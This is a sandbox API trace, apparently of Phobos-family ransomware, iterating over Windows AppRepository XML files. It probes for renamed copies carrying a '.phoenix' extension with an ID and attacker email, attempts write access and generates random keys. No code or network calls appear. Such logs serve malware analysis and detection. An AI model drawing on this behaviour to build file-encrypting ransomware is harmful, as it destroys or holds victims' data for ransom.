	[0229.791] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.791] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=18109) returned 1
	[0229.791] CloseHandle (hObject=0x2f0) returned 1
	[0229.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.792] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.792] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.792] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.792] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5033) returned 1
	[0229.792] CloseHandle (hObject=0x2f0) returned 1
	[0229.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.792] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.792] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.792] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.793] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3202) returned 1
	[0229.793] CloseHandle (hObject=0x2f0) returned 1
	[0229.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0229.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.793] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.793] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.793] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.793] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=13944) returned 1
	[0229.793] CloseHandle (hObject=0x2f0) returned 1
	[0229.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0229.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.794] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.794] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.794] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.794] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3904) returned 1
	[0229.794] CloseHandle (hObject=0x2f0) returned 1
	[0229.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.794] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.804] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.804] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.804] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3904) returned 1
	[0229.804] CloseHandle (hObject=0x2f0) returned 1
	[0229.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.805] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.805] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2744) returned 1
	[0229.805] CloseHandle (hObject=0x2f0) returned 1
	[0229.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.805] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.806] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=27544) returned 1
	[0229.806] CloseHandle (hObject=0x2f0) returned 1
	[0229.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.806] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.806] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.806] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.806] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=846) returned 1
	[0229.806] CloseHandle (hObject=0x2f0) returned 1
	[0229.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.806] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.807] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.807] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.807] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=26091) returned 1
	[0229.807] CloseHandle (hObject=0x2f0) returned 1
	[0229.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.807] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.807] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.807] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.807] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8306) returned 1
	[0229.807] CloseHandle (hObject=0x2f0) returned 1
	[0229.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.808] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.808] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.808] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.808] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=843) returned 1
	[0229.808] CloseHandle (hObject=0x2f0) returned 1
	[0229.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.808] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.809] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.809] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=25658) returned 1
	[0229.809] CloseHandle (hObject=0x2f0) returned 1
	[0229.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.810] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
